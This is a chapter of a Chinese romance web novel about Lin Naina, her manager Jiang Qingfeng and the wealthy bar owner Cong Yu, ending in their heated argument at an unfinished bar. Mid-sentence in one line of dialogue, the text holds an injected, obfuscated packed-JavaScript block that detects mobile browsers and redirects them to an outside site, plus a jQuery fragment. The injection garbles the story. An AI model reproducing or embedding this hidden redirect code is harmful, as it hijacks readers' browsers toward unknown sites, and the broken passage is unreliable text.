16. 第十六章

作品:《用上司挡了前任以后

    机场的公众区域人群流动,一波刚刚到达的人泵出,另一波出发的人又被回收。


    蒋清风收起手机,望着身穿红色风衣,拉着四方行李箱的陶遥朝自己走来,步伐不疾不徐。


    “这么巧,你是正要走,还是刚刚到?”女人的声音很温婉。


    蒋清风淡笑:“回北城。你呢?”


    陶遥站定,微微扬起下巴,笑道:“刚到。参加一个峰会,早知道你也在,我们应该约在深城吃饭。”


    “以后肯定有机会。”


    “听Theo说,你就是广府人?”


    男人点头:“是。”


    见他少言,陶遥便主动:“不知道我有没有这个荣幸,能让Matthew你做东,带我游玩一下岭南呢?”


    “下次吧,陶小姐,”蒋清风深吸了口气,唇线微抿,“我暂时...不想待在这座城市。”


    “嗯?”


    “刚在这儿,”他垂首看自己鞋尖,眉宇间有霎那的愁绪又迅速散开,轻笑一声:“被自己喜欢的女生拒绝了。”


    “......”陶遥微惊,数秒后才恢复平静,脸上的笑容也随之消失。


    她明白,他现在用这个理由,拒绝了她。


    *


    林奈奈机械地绕开障碍物,按导航的位置找到餐厅。


    包厢在二楼,按照冯毅发来的房间号自己找过去,伸手开门,眼神也透过门上的玻璃看进去。


    她心中有事,所有反应都有延迟,盯了大概三十秒,才意识到自己应该立刻马上转过身去。


    因为...此刻的莫希文横跨坐在冯毅的腿上,衣服已经退到腰间,露出腮红色的内衣,两人正吻得难解难分。


    林奈奈的脸涨红,捂着嘴低头迅速下楼。


    这这这......这不管以什么方式出现,都很尴尬吧?


    她叉腰打转,用手掌快速扇风。


    等半个小时再上去?


    可可可...可万一还没结束呢?


    林奈奈最终决定,还是回家吧。


    她上了地铁才给冯毅发消息:“抱歉抱歉,我这边临时有状况,可能去不了了,你们先吃吧,别等我哈。改日赎罪[狗头表情包]”


    那边一直没有回复。


    果然还没结束。


    林奈奈下了地铁,疲惫往家走。


    手机叮咚一声,是从峪:“下班了吗?”


    “嗯,刚到家。”


    从峪:“出去喝一杯?”


    林奈奈站定,双手错落敲击手机键盘:“不了,你去吧,我有点累,想早点休息。”


    从峪正想说,如果以酒吧老板的身份邀你出去,你会去吗?


    抬头,见她双肩垮着,像雨水打蔫的花,处处透漏着被生活打磨后的暗淡。


    又将输入的文字删去。


    他的车就停在路边的临时车位上,看着女人的背影,从自己的视野里消失。


    上班这么累吗?


    聊天界面里正在输入的字符消失,却没有消息发过来,林奈奈猜测,此刻的从大少爷一定怒不可遏。


    便强撑最后一丝职业素养:“如果是想聊酒吧装修的事情,咱们明天见,好吗?”


    “好。”这次回复很快。


    林奈奈像是得到赦免,回家洗澡,洗头,吹干头发,终于浑身轻松地往床上一躺。


    她习惯冥想,闭上眼睛,呼吸吐纳。


    【今天怎么了?尤其累。】


    【不是因为工作,好像...是因为蒋清风。】


    【你在意他?】


    【很难不在意吧!可能是发神经,我觉得他喜欢我?可等我想确认这份心意的时候,他又回避了。】


    【会不会是你想多了?】


    【我就知道!一起工作两年了,要是喜欢早该看出来啊。我就知道……】


    【你好像很失落?】


    【是吧…】


    【不如找他问清楚?】


    【不要!拥有的幻觉和失去的恐惧,还是前者更甜蜜吧?】


    【……】


    其他的事情可以越聊越清晰,可感情的事情越聊越失序。


    她在失序中入睡,做了一堆乱七八糟的梦。


    *


    从峪的车子停在楼下,停了一夜,也不知道去哪。


    睡眠断断续续,时常被喇叭唤醒,被路边行人的争吵唤醒,被扫街的沙沙声唤醒,被沿街的早点铺唤醒。


    *


    而蒋清风,从深城回来时忘了带衣服,北城零下四五度的夜晚,他在街上闲逛。


    穿着那件在深城显得很有书卷气,在北城却只剩“单薄”的灰色套装。布料被风吹得紧贴在身上,皮肤能直接感受到刺痛,用以缓解内心滚烫,无处安放的某种情愫。


    林奈奈没有拒绝他。


    她甚至不知他喜欢她。


    让他如此不安、失落的,是得知自己喜欢林奈奈后,他的某种自信,某种后知后觉的自信,他自信觉得只要他表白,林奈奈就会答应,因为他职位更高,学历更好,家境更优渥?


    他有恃无恐,送奈奈围巾与她亲密,又一边与陶遥周旋。


    他默认奈奈会等他,等他处理好工作上的人情。


    他被自己这种反教养的自信刺痛。


    他忘了,其实奈奈有更好的选择。


    对陶遥也不公平,他不能等到Theo成功招标后,才与她疏离。


    他厌恶这个功利的自己。


    不知闲逛多久,回到酒店沉沉睡去。


    第二日清晨,疼痛与意识同时复苏,他笨重坐起,伸手探额头的温度,烧得离谱。


    干脆跟Theo请假,躺回去继续睡觉。


    *


    深城。


    “这是老大第一次缺席早会唉?”莫希文抱着胸,一副稀奇的模样。


    “是啊,就算出差,他也会抽空跟我们视频会议。今儿怎么了?”冯毅自然接话。


    林奈奈坐在后面盯这两人的背影。


    哇!


    怎么跟无事发生一样啊?


    莫希文伸懒腰的时候,余光正好撇到她,吓一跳:“你干嘛用这种眼神看我啊?”


    “没没什么。”林奈奈猛地甩甩头。恰好桌面的手机响了,是从峪。


    “喂,你上班没?”


    “嗯。”


    卷毛酷哥一夜没睡好,脾气不小:“那可以去看看酒吧了?”


    “好好好,”聊起工作,林奈奈就有劲儿,“你把地址发给我,我现在就过去。哦,对了,你吃早饭没?”


    “没。”


    “你想吃什么,我帮你带。”林奈奈狗腿讨好。


    从峪受用,语气突然轻快,还有一丝得瑟:“不那么油腻的,清淡一点的。”


    “好,明白。”


    她挂了电话,去红屋餐厅打包了一份手磨咖啡,一份三明治,按从峪发来的地址摸索过去。


    酒吧的选址在大学城附近,到的时候,男人已经等在门口了。


    穿了一身黑色高领毛衣,叠穿竖条纹衬衫,卡其色的九分裤,复古马丁靴。


    今儿低调了很多。


    “喏,咖啡还是热的。”


    从峪接过她递来的纸袋,没在路边的便利店打发他,还特地去了红屋...男人心中欢喜,语调自然就仰了上去:“谢啦。”


    “不谢,这顿可以报销的。”


    欢喜的脸瞬间垮掉,冲她后脑勺翻了个白眼。


    林奈奈掏出自己的Pad,开始画草图:“从先生,您对您的酒吧有什么想象嘛?比如说,先给它一个风格标签,复古的?工业的?”


    从先生?


    “叫我从峪。”声音恶狠狠。


    林奈奈懵?刚接过早饭的时候不是挺开心的嘛?怎么又变脸呢?


    “好的,从峪。”


    “那些都太俗气了,我不要,”从峪回答她的问题:“我要的是一个江湖。”


    林奈奈眨巴眨巴眼睛,依旧保持微笑:“嗯,很特别,那你能描述一下你心目中的江湖嘛?没关系,可以是碎片式的,可以是感受,气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202830|197265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    味,背景音,只要你能想到,就都可以说出来。”


    从峪握着咖啡闭上眼睛:“竹帘,酒旗,刀光剑影,一步一景,不需要太奢华,但要一眼看上去就有故事,要有风声,要有箫声......”


    林奈奈抓瞎了。


    从进门到现在,她其实只是在模仿蒋清风。


    初次与甲方接触,做思想实验,等甲方描述。换成蒋清风,能立刻捕捉到关键信息,将甲方零碎的表述变成落地,可执行的方案。


    可她不行,她的经验还远远不够。


    更何况这还是个高难度的项目。


    她只能笨拙地记下从峪所说的每一句话,等回去再与蒋清风商量。


    “怎么样?有画面了嘛?”从峪反问她。


    “嗯,是个把酒论剑的好地方。”林奈奈笑,“要不...和Matthew说说你的想法,说不定碰撞出不一样的火花。”


    从峪沉眉:“我不要,我跟Theo说了,这家酒吧由你设计,是好是坏我都认,我有的是钱。”


    “我知道你不在乎钱。可你描述画面的时候那么投入,说明你认真想过。既然要做,为什么不竭尽全力做到最好呢?为什么要用这种满不在乎的态度呢?”


    林奈奈蹙眉,不经意跳出了乙方的身份,反应过来后又低声道歉:“对不起。”


    “......”从峪冷哼,手心的咖啡杯捏到变形,“你是想说我做什么都不成吧?写小说半吊子,投资半吊子,做时尚眼高手低,像个一事无成的败家子。”


    林奈奈偏开头,逃避他的视线:“我没这么说,这是你自己内心的映射。”


    “看着我。”从峪捏住她的下巴,将她的视线强硬地掰回来。


    林奈奈挣开。


    他又钳住她的双手,用力将她推至承重墙下,愤怒地吼道:“你是不是也看不起我?”


    水泥墙的粗粝刺得她生疼。


    林奈奈怒了,用不低于他的分贝吼道:“说话就说话,你能不能别动手动脚?”


    男人一次次用力量压制她,让林奈奈彻底失去理智:“你难道不是一事无成吗?没法继承家业,写小说失败,创业做品牌失败,一事无成的你,想要通过拯救我悲惨的命运,来确认自己的价值。那你有没有想过我?从峪。”


    她几乎声嘶力竭:“你说酒吧是好是坏你都认,可我不认。我现在只是个助理设计师,我坦然接受自己的局限性,可我不会因此看低自己。”


    “只要给我时间,我早晚可以达到Matthew的高度,甚至超过他。我不希望设计生涯的第一个作品是垃圾。”


    “你跟Theo说的时候有考虑过我吗?你以为你强塞给别人的东西,别人就一定会喜欢吗?”


    他跟她道过歉了,可做着跟过去一样的事情。


    他总有办法刺穿她的理智薄膜,逼得她像个疯子一样肆意宣泄自己的情绪。


    就像她的灵魂刺客。


    “我......”


    林奈奈:“你没有,因为你从来都活得太容易。”


    “我容易?”男人一拳砸在水泥墙上,骨节处渗出血,“我从出生就活在巨大的阴影下,因为从策的存在,无论我做什么,最终都会滑向不成器的那个。我所有的努力都显得微不足道,可一丁点的失败就会被无限放大,被耻笑,显得我比普通人还无能。”


    “那又不是我的错。”女人瞪他,声音却矮下来,眼泪从漂亮的眼睛里滚出来,一颗一颗,沿着白皙的天鹅颈滑落,消失在衣领里。


    叫人心中酸涩。


    “是......”男人终于松开女人,自己扶着承重墙坐下。


    两人都因为情绪激动,大口呼吸着,呼吸声没有被地面吸收,而是反弹回来,在空旷的毛坯室内形成一串重叠,渐弱的回音。


    林奈奈楷泪。


    从峪闭眼,积压许久的不满,无力,愤怒全数散尽。


    他忽地发出一声短促的轻笑:“你说我们婚后也会这么吵吗?”


    林奈奈:“......”